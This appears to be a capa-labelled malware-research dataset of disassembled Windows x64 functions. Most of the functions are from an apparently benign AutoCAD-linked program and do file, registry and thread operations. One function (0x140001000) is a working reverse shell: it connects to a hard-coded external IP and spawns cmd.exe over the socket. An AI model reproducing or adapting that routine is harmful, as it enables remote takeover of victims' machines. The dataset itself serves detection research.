joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002c090
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push rsi
push rdi
mov eax, 0x1050
call fcn.14004a280
sub rsp, rax
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rsp + CBaseTabbedPane::FindPaneByID], rbx
mov rax, qword [0x14007e020]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov rsi, rdx
mov rbx, rcx
mov qword [rsp + 0x30], rcx
call qword [sym.imp.Ac1st19.dll_protected:_void___cdecl_AcRxObject::constructor_void____ptr64]
mov byte [rbx + 8], 0
lea rax, vtable.AdRmDoc.0
mov qword [rbx], rax
xor edi, edi
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140053c78]
lea rcx, [rbx + 0x20]
call fcn.140001ac0
lea rcx, [rbx + 0x820]
lea rdx, [0x140053c78]
call qword [sym.imp.acdb19.dll_public:_void___cdecl_AdXREFString::constructor_wchar_t_const____ptr64____ptr64]
nop
mov dword [rbx + 0x880], 0x7ffe
mov dword [rbx + 0x888], 0x1a
mov byte [rbx + 0x884], dil
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x40]
test al, al
je 0x14002c14f
mov dword [rbx + 0x888], 0xd
jmp 0x14002c25e
mov rcx, rsi
call qword [sym.imp.acdb19.dll_public:_wchar_t_const____ptr64___cdecl_AdXREFString::operator_wchar_t_const____ptr64_void_const___ptr64]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140001ac0
cmp word [rsp + 0x40], 0
je 0x14002c254
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14002c254
lea rcx, [rsp + 0x40]
call fcn.14001a670
test eax, eax
jne 0x14002c1ca
cmp word [rsp + 0x40], ax
je 0x14002c1ca
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14002c1ca
and al, 0x10
cmp al, 0x10
sete al
test al, al
je 0x14002c1ca
mov dword [rbx + 0x888], 2
jmp 0x14002c25e
lea r9, [rsp + 0x20]
lea r8, [rsp + 0x840]
mov edx, 0x400
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test eax, eax
je 0x14002c206
mov rcx, rdi
nop
movzx eax, word [rsp + rcx + 0x840]
mov word [rsp + rcx + 0x40], ax
add rcx, 2
test ax, ax
jne 0x14002c1f0
mov ecx, 0x48
call qword [sym.imp.mfc100u.dll_CTagManager::CTagManager]
mov qword [rsp + 0x20], rax
test rax, rax
je 0x14002c229
mov rdx, rbx
mov rcx, rax
call fcn.14003d0f0
mov rdi, rax
mov qword [rbx + 0x10], rdi
test rdi, rdi
jne 0x14002c23e
mov dword [rbx + 0x888], 4
jmp 0x14002c25e
lea rcx, [rbx + 0x20]
lea rdx, [rsp + 0x40]
mov r8d, AFXSoundThreadProc
call sub.MSVCR100.dll_memcpy
jmp 0x14002c25e
mov dword [rbx + 0x888], 0x13
mov rax, rbx
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140049a80
mov rbx, qword [rsp + 0x1080]
add rsp, 0x1050
pop rdi
pop rsi
pop rbp
ret
Function at 0x140036250
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
mov qword [r8], 0
test rdx, rdx
je 0x140036316
mov rcx, qword [rcx + 8]
lea rax, [rsp + 0x48]
lea r9, [rsp + 0x50]
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140036316
cmp dword [rsp + 0x50], 1
jne 0x140036316
mov ecx, dword [rsp + 0x48]
mov eax, 2
shr rcx, 1
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call qword [sym.imp.mfc100u.dll_new__]
lea rcx, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x28], rcx
mov qword [rbx], rax
mov rcx, qword [rsi + 8]
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140036306
mov al, 1
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
mov rcx, qword [rbx]
call qword [sym.imp.mfc100u.dll_CThreadLocalObject::CThreadLocalObject]
mov qword [rbx], 0
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x58]
xor al, al
add rsp, 0x30
pop rdi
ret
Function at 0x140037540
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rsi
push rdi
mov eax, 0x4070
call fcn.14004a280
sub rsp, rax
mov rax, qword [0x14007e020]
xor rax, rsp
mov qword [rsp + 0x4060], rax
mov rbx, rdx
mov rdi, rcx
lea rdx, [0x140053c78]
mov rcx, r8
mov rsi, r8
call qword [sym.imp.acdb19.dll_public:_class_AdXREFString_const____ptr64___cdecl_AdXREFString::operator_wchar_t_const____ptr64____ptr64]
mov rcx, rbx
mov dword [rsp + 0x40], 0x4008
call qword [sym.imp.acdb19.dll_public:_wchar_t_const____ptr64___cdecl_AdXREFString::operator_wchar_t_const____ptr64_void_const___ptr64]
lea rcx, [rsp + 0x40]
mov r9d, 0xffff
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x50]
mov r8, rax
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x44]
xor edx, edx
mov qword [rsp + 0x20], rcx
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_SHRegGetValueW]
test eax, eax
je 0x1400375c7
xor al, al
jmp 0x1400375d7
lea rdx, [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.acdb19.dll_public:_class_AdXREFString_const____ptr64___cdecl_AdXREFString::operator_wchar_t_const____ptr64____ptr64]
mov al, 1
mov rcx, qword [rsp + 0x4060]
xor rcx, rsp
call fcn.140049a80
add rsp, 0x4070
pop rdi
pop rsi
pop rbx
ret

Function at 0x140037600
Capabilities:
Query or enumerate registry key

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x8e0
mov qword [rsp + 0x68], 0xfffffffffffffffe
mov qword [rsp + 0x910], rbx
mov rax, qword [0x14007e020]
xor rax, rsp
mov qword [rsp + 0x8d0], rax
mov rdi, rdx
mov rsi, rcx
mov rcx, rdx
call fcn.1400252c0
xor ebp, ebp
mov dword [rsp + 0x60], ebp
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], rbp
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
je 0x140037688
xor al, al
jmp 0x1400376ff
mov ebx, ebp
cmp dword [rsp + 0x60], ebx
jle 0x1400376fd
mov dword [rsp + 0x64], 0x400
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
lea r9, [rsp + 0x64]
lea r8, [rsp + 0xd0]
mov edx, ebx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140037684
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x70]
call qword [sym.imp.acdb19.dll_public:_void___cdecl_AdXREFString::constructor_wchar_t_const____ptr64____ptr64]
nop
lea rdx, [rsp + 0x70]
mov rcx, rdi
call fcn.1400164a0
nop
lea rcx, [rsp + 0x70]
call qword [sym.imp.acdb19.dll_public_virtual:_void___cdecl_AdXREFString::destructor_void____ptr64]
inc ebx
cmp ebx, dword [rsp + 0x60]
jl 0x140037690
mov al, 1
mov rcx, qword [rsp + 0x8d0]
xor rcx, rsp
call fcn.140049a80
mov rbx, qword [rsp + 0x910]
add rsp, 0x8e0
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400386e0
Capabilities:
Check for time delay via gettickcount
Check if file exists
Get file attributes

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x8a0
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x14007e020]
xor rax, rsp
mov qword [rsp + 0x890], rax
mov rbx, rdx
mov rsi, rcx
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.1400036d0
nop
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.140039cd0
test al, al
je 0x140038748
lea rcx, [rsp + 0x30]
call qword [sym.imp.acdb19.dll_public_virtual:_void___cdecl_AdXREFString::destructor_void____ptr64]
mov eax, 0x33
jmp 0x1400387ec
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
cmp word [rbx], 0
je 0x1400387bf
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400387bf
lea r9, [rsp + 0x20]
lea r8, [rsp + 0x90]
mov edx, 0x400
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test eax, eax
je 0x1400387b0
lea rcx, [rsp + 0x90]
lea rax, [rsp + 0x90]
sub rbx, rax
nop word [rax + rax]
movzx eax, word [rcx]
mov word [rbx + rcx], ax
add rcx, 2
test ax, ax
jne 0x1400387a0
lea rcx, [rsp + 0x30]
call qword [sym.imp.acdb19.dll_public_virtual:_void___cdecl_AdXREFString::destructor_void____ptr64]
xor eax, eax
jmp 0x1400387ec
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, edi
cmp eax, 0x7d0
jbe 0x1400387dc
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.140039ba0
nop
lea rcx, [rsp + 0x30]
call qword [sym.imp.acdb19.dll_public_virtual:_void___cdecl_AdXREFString::destructor_void____ptr64]
mov eax, 0x13
mov rcx, qword [rsp + 0x890]
xor rcx, rsp
call fcn.140049a80
lea r11, [rsp + 0x8a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x140038b10
Capabilities:
Get common file path

Disassembly:
push rdi
sub rsp, 0x910
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + CDHtmlDialog::CanAccessExternal], rbx
mov rax, qword [0x14007e020]
xor rax, rsp
mov qword [rsp + 0x900], rax
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor eax, eax
mov dword [rsp + 0x20], eax
mov word [rsp + 0x100], ax
xor edx, edx
mov r8d, AFXSoundThreadProc
lea rcx, [rsp + 0x102]
call sub.MSVCR100.dll_memset
mov edx, 0x400
lea rcx, [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.acdb19.dll_public:_void___cdecl_AdXREFString::constructor_wchar_t_const____ptr64____ptr64]
mov rbx, rax
lea rdx, str._fonts
lea rcx, [rsp + 0x40]
call qword [sym.imp.acdb19.dll_public:_void___cdecl_AdXREFString::constructor_wchar_t_const____ptr64____ptr64]
nop
mov r9, qword [rbx]
mov r8, rax
mov rdx, rdi
mov rcx, rbx
call qword [r9 + 0xe8]
mov dword [rsp + 0x20], 1
lea rcx, [rsp + 0x40]
call qword [sym.imp.acdb19.dll_public_virtual:_void___cdecl_AdXREFString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0xa0]
call qword [sym.imp.acdb19.dll_public_virtual:_void___cdecl_AdXREFString::destructor_void____ptr64]
mov rax, rdi
mov rcx, qword [rsp + 0x900]
xor rcx, rsp
call fcn.140049a80
mov rbx, qword [rsp + 0x928]
add rsp, 0x910
pop rdi
ret
Function at 0x14003c590
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
lea rbp, [rax - 0x788]
sub rsp, 0x870
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x14007e020]
xor rax, rsp
mov qword [rbp + 0x760], rax
mov rsi, rcx
cmp qword [rcx + 0x70], 0
jne 0x14003c5e0
mov eax, 4
jmp 0x14003c7a8
lea rdi, [rcx + 0x10]
mov rcx, rdi
call qword [sym.imp.acdb19.dll_public:_wchar_t_const____ptr64___cdecl_AdXREFString::operator_wchar_t_const____ptr64_void_const___ptr64]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140001ac0
mov r11, qword [rsi + 0x78]
lea r13, vtable.AdRmLock.0
mov qword [rsp + 0x20], r13
mov qword [rsp + 0x28], r11
xor al, al
mov byte [rsp + 0x30], al
test r11, r11
je 0x14003c650
lea rcx, [rsp + 0x20]
call qword [0x14005d050]
test al, al
jne 0x14003c64b
or edx, 0xffffffff
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
setne al
mov byte [rsp + 0x30], al
jmp 0x14003c650
movzx eax, byte [rsp + 0x30]
test al, al
jne 0x14003c682
mov qword [rsp + 0x20], r13
lea rcx, [rsp + 0x20]
call qword [0x14005d050]
test al, al
je 0x14003c678
mov byte [rsp + 0x30], 0
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, 0x2d
jmp 0x14003c7a8
cmp word [rsp + 0x60], 0
je 0x14003c707
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14003c707
mov r12, qword [rsi + 0x70]
mov rbx, qword [r12 + 8]
mov rdx, rdi
mov rcx, r12
call fcn.14003a3c0
mov qword [rsp + 0x38], rax
cmp rax, qword [r12 + 8]
je 0x14003c6e1
xor ecx, ecx
add rax, 0x18
lea rdx, [rax + 8]
jne 0x14003c6c8
mov edx, ecx
test rdi, rdi
je 0x14003c6d1
lea rcx, [rdi + 8]
call fcn.1400169f0
test eax, eax
js 0x14003c6e1
lea rax, [rsp + 0x38]
jmp 0x14003c6f0
mov rax, qword [r12 + 8]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x40]
cmp qword [rax], rbx
je 0x14003c782
mov rdx, rdi
mov rcx, qword [rsi + 0x70]
call fcn.14003c8a0
jmp 0x14003c782
mov r12, qword [rsi + 0x70]
mov rbx, qword [r12 + 8]
mov rdx, rdi
mov rcx, r12
call fcn.14003a3c0
mov qword [rsp + 0x40], rax
cmp rax, qword [r12 + 8]
je 0x14003c74e
xor ecx, ecx
add rax, 0x18
lea rdx, [rax + 8]
jne 0x14003c735
mov edx, ecx
test rdi, rdi
je 0x14003c73e
lea rcx, [rdi + 8]
call fcn.1400169f0
test eax, eax
js 0x14003c74e
lea rax, [rsp + 0x40]
jmp 0x14003c75d
mov rax, qword [r12 + 8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x38]
cmp qword [rax], rbx
jne 0x14003c782
mov rbx, qword [rsi + 0x70]
mov rdx, rdi
mov rcx, rbx
call fcn.1400208f0
mov r8, rax
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.1400203f0
nop
mov qword [rsp + 0x20], r13
lea rcx, [rsp + 0x20]
call qword [0x14005d050]
test al, al
je 0x14003c7a6
mov byte [rsp + 0x30], 0
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor eax, eax
mov rcx, qword [rbp + 0x760]
xor rcx, rsp
call fcn.140049a80
lea r11, [rsp + 0x870]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rbp
ret
Function at 0x14003f0e0
Capabilities:
Create thread

Disassembly:
push rdi
sub rsp, 0x30
cmp qword [rcx + 0x58], 0
mov rdi, rcx
je 0x14003f0f8
xor eax, eax
add rsp, 0x30
pop rdi
ret
mov rcx, qword [rcx + 0x60]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
test eax, eax
jne 0x14003f111
mov eax, 0x26
add rsp, 0x30
pop rdi
ret
lea rax, [rsp + 0x40]
mov qword [rsp + 0x48], rbx
lea r8, [0x14003f8d0]
mov qword [rsp + 0x28], rax
xor ebx, ebx
mov r9, rdi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x26
test rax, rax
mov qword [rdi + 0x58], rax
cmove ebx, ecx
mov eax, ebx
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x14003fb90
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
cmp qword [rcx + 8], 0
mov rbx, rcx
jne 0x14003fba8
xor al, al
add rsp, 0x30
pop rbx
ret
cmp qword [rcx + 0x18], 0
je 0x14003fbb7
mov al, 1
add rsp, 0x30
pop rbx
ret
lea rax, [rsp + 0x40]
mov r9, rcx
lea r8, [0x14003fe40]
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x14003fba0
mov qword [rbx + 0x18], rax
mov eax, dword [rsp + 0x40]
mov qword [rsp + 0x48], rdi
mov dword [rbx + 0x20], eax
xor edi, edi
nop word [rax + rax]
mov ecx, dword [rbx + 0x20]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x4c9
call qword [sym.imp.USER32.dll_PostThreadMessageW]
test eax, eax
jne 0x14003fc4e
lea ecx, [rax + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jl 0x14003fc00
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x48]
mov qword [rbx + 0x18], 0
mov dword [rbx + 0x20], 0
xor al, al
add rsp, 0x30
pop rbx
ret
mov al, 1
mov rdi, qword [rsp + 0x48]
add rsp, 0x30
pop rbx
ret
Function at 0x1400418a0
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x858]
sub rsp, 0x950
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x14007e020]
xor rax, rsp
mov qword [rbp + 0x840], rax
mov rbx, rcx
xor esi, esi
mov word [rbp + 0x20], si
xor eax, eax
mov dword [rbp + 0x22], eax
mov word [rbp + 0x240], si
xor edx, edx
mov r8d, 0x1fe
lea rcx, [rbp + 0x242]
call sub.MSVCR100.dll_memset
mov word [rbp + 0x440], si
xor edx, edx
mov r8d, 0x1fe
lea rcx, [rbp + 0x442]
call sub.MSVCR100.dll_memset
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x140041934
movzx eax, al
cmp eax, 3
lea edi, [rsi + 1]
jle 0x140041936
mov edi, esi
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x40]
test al, al
je 0x14004194a
xor al, al
jmp 0x140041a4b
mov rcx, rbx
call qword [sym.imp.acdb19.dll_public:_wchar_t_const____ptr64___cdecl_AdXREFString::operator_wchar_t_const____ptr64_void_const___ptr64]
mov qword [rsp + 0x40], 0x100
lea rcx, [rbp + 0x440]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], 0x100
lea rcx, [rbp + 0x240]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], 0x100
lea r9, [rbp + 0x640]
mov r8d, 3
lea rdx, [rbp + 0x20]
mov rcx, rax
call qword [sym.imp.MSVCR100.dll__wsplitpath_s]
cmp word [rbp + 0x20], si
jne 0x140041a49
mov word [rbp + 0x30], si
xor edx, edx
mov r8d, 0x206
lea rcx, [rbp + 0x32]
call sub.MSVCR100.dll_memset
mov edx, 0x104
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea rax, str.SYSTEM_
lea rdx, str.FONTS_
test edi, edi
cmovne rdx, rax
lea rcx, [rbp - 0x40]
call qword [sym.imp.acdb19.dll_public:_void___cdecl_AdXREFString::constructor_wchar_t_const____ptr64____ptr64]
nop
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x60]
call qword [sym.imp.acdb19.dll_public:_void___cdecl_AdXREFString::constructor_wchar_t_const____ptr64____ptr64]
nop
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x60]
mov rax, qword [rsp + 0x60]
call qword [rax + 0xf0]
mov rdx, rbx
lea rcx, [rsp + 0x60]
mov rax, qword [rsp + 0x60]
call qword [rax + 0xf0]
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.acdb19.dll_public:_class_AdXREFString_const____ptr64___cdecl_AdXREFString::operator_class_AdXREFString_const____ptr64____ptr64]
nop
lea rcx, [rsp + 0x60]
call qword [sym.imp.acdb19.dll_public_virtual:_void___cdecl_AdXREFString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x40]
call qword [sym.imp.acdb19.dll_public_virtual:_void___cdecl_AdXREFString::destructor_void____ptr64]
mov al, 1
mov rcx, qword [rbp + 0x840]
xor rcx, rsp
call fcn.140049a80
lea r11, [rsp + 0x950]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140048b70
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x14007e020]
xor rax, rsp
mov qword [rsp + 0x150], rax
lea rax, [rsp + 0x38]
mov rdi, rcx
lea rdx, str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000000
mov qword [rsp + 0x20], rax
xor ebx, ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x140048c7c
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x34]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov esi, 0x104
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x34], esi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
jne 0x140048c6d
cmp dword [rsp + 0x30], 2
mov byte [rsp + 0x143], bl
jne 0x140048c31
lea rcx, [rsp + 0x40]
mov r8d, esi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
dec eax
cmp eax, 0x103
setbe bl
jmp 0x140048c6d
lea rdx, [rsp + 0x40]
mov ecx, ebx
sub rdx, rdi
lea rax, [rsi + 0x7ffffefa]
cmp rax, rbx
je 0x140048c59
mov al, byte [rdx + rdi]
cmp al, bl
je 0x140048c59
mov byte [rdi], al
inc rdi
sub rsi, 1
jne 0x140048c3b
cmp rsi, rbx
jne 0x140048c66
dec rdi
mov ecx, 0x8007007a
cmp ecx, ebx
mov byte [rdi], bl
setge bl
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x140048c7e
xor eax, eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140049a80
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14004a02f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14007e020]
jne 0x140049a9a
rol rcx, 0x10
test cx, 0xffff
jne 0x140049a96
repz ret
ror rcx, 0x10
jmp 0x140049f88
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14007ff00]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14007fff8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14004a00d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14007ff00]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14004a02f
mov rax, qword [rsp + 0x88]
mov qword [0x14007fff8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14007ff98], rax
mov rax, qword [0x14007fff8]
mov qword [0x14007fe70], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14007ff80], rax
mov dword [0x14007fe60], 0xc0000409
mov dword [0x14007fe64], 1
mov rax, qword [0x14007e020]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14007e028]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14007fef8], eax
mov ecx, 1
call sub.MSVCR100.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140053228]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14007fef8], 0
jne 0x14004a0b6
mov ecx, 1
call sub.MSVCR100.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140001000
Capabilities:
Connect socket
Create a process with modified i/o handles and window
Create process on windows
Initialize winsock library

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r14
push rbp
lea rbp, [rax - 0x1a8]
sub rsp, 0x2a0
mov rax, qword [0x140019008]
xor rax, rsp
mov qword [rbp + 0x190], rax
mov ecx, 0x202
lea rdx, [rbp - 0x10]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r14d, r14d
xor r9d, r9d
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
lea edx, [r14 + 1]
lea edi, [rdx + 1]
mov ecx, edi
lea r8d, [r14 + 6]
call qword [sym.imp.WS2_32.dll_WSASocketA]
lea rcx, str.147.185.221.16
mov word [rbp - 0x28], di
mov rbx, rax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, 0x9d8b
mov dword [rbp - 0x24], eax
call qword [sym.imp.WS2_32.dll_htons]
mov qword [rsp + 0x30], r14
lea r8d, [r14 + 0x10]
mov qword [rsp + 0x28], r14
lea rdx, [rbp - 0x28]
xor r9d, r9d
mov word [rbp - 0x26], ax
mov rcx, rbx
mov qword [rsp + 0x20], r14
call qword [sym.imp.WS2_32.dll_WSAConnect]
lea edi, [r14 + 0x68]
xor edx, edx
mov r8d, edi
lea rcx, [rsp + 0x50]
call fcn.140001f20
lea rax, [rbp - 0x40]
mov dword [rsp + 0x50], edi
mov qword [rsp + 0x48], rax
lea rdx, str.cmd.exe
lea rax, [rsp + 0x50]
mov dword [rbp - 0x74], 0x101
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], r14
xor r8d, r8d
mov qword [rsp + 0x30], r14
xor ecx, ecx
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 1
mov word [rbp - 0x70], r14w
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x58], rbx
mov qword [rbp - 0x60], rbx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
call fcn.1400011d0
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r14, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x140001c00
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c4a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c4a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c4a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c4a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c4a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c4c
xor al, al
add rsp, 0x28
ret

Function at 0x140005cf0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005ae0